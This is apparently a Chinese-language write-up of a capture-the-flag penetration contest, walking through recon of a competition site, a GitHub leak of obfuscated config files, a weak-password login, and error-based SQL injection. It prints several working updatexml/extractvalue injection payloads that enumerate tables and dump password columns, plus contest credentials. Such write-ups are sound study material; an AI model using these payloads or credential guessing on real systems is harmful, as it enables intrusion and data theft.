我个人感觉这次题目质量是可以的,很模拟现实渗透场景,从外网到内网到域控,到达一定阶段给个flag
但是也有吐槽的点,主办方给8个小时,一共有12个关卡,到比赛结束,解题数量最多是5道题,到后面主办方急了,后面很多关还没有人做出来,然后主办方就疯狂给tip,类似于直接告诉你答案。。。很无语
image.png
前期信息收集
扫描+手工,整理链接
http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/home/index.php
/home/about.php?id=1
/home/about.php?id=2
/home/services.php
/home/portfolio.php
/home/pricing.php
/home/contact.php
/home/administrator/
/home/administrator/index.php?action=login
/home/administrator/inc/config.php
/manager/
/manager/index.php
/manager/inc/config.php
/user/
/user/index.php
/user/upload/
image.png
IP无法直接访问网站,应该是根据域名控制,扫描的是主机信息,与该web题联系不大
翻翻js发现敏感信息
image.png上github搜用户名
https://github.com/l1Kai/user/
得到config.php的源码,以及第一个flag
image.png运行试试,得到数据的解密方式
image.png发现是调用eval运行的,看看到底运行了什么东西
image.png
运行得到,eval中运行的东西,也就是config.php的源码
image.png
该源码对后面解题没什么帮助
继续看github的commit记录
image.png用同样的方式解密其余的config.php,得到第二个flag
image.png这里的PRO_KEY对后面解题有帮助
社工+弱口令
github泄露了邮箱
在其中一个后台
http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/user/index.php
用邮箱 likai@youngin.uu.me 密码 likai
成功登陆,拿到第三个flag
image.png然后在工作选项中有一个可以更新项目的点,这里就需要之前的PRO_KEY
username存在报错注入
'or(updatexml(2,concat(0x7e,(user())),0))or'
'or(linestring(proname))or'
得到当前库名,表名,列名
image.png
把已知列的内容显示出来
'or(updatexml(2,concat(0x7e,(select(group_concat(proname))from(kvm1.m_notice))),0))or'
image.png
'or(updatexml(2,concat(0x7e,(select(group_concat(username))from(kvm1.m_notice))),0))or'
image.png
'or(updatexml(2,concat(0x7e,(select(group_concat(content))from(kvm1.m_notice))),0))or'
image.png
感觉怪怪的,什么乱七八糟的东西
莫非flag在别的表?报错得到m_admin,m_user,m_notice,u_user 四个表
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database())),1))or'
image.png
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(column_name))from%0ainformation_schema.columns%0awhere%0atable_name='m_admin')),1))or'
image.png
最后发现flag在m_user表,但是报错注入一次只能显示32位,这里用substr()函数分两次显示
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),1))from(m_user)))))or'
image.png
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),15))from(m_user)))))or'
image.png
拼接得到第4个flag
flag{022f3f7f-a212-4456-b8c5-ce67ae9c2b83}
这次比赛由于时间和能力原因,只做出4道题
赛后交流,得知第5个flag是在m_admin表里面得到管理员的账号密码
wangfei
2389pass
安全码
登陆另一个后台得到第5个flag
第6个flag,还没人解出来,好像是文件上传+文件包含,毕竟时间有限
网友评论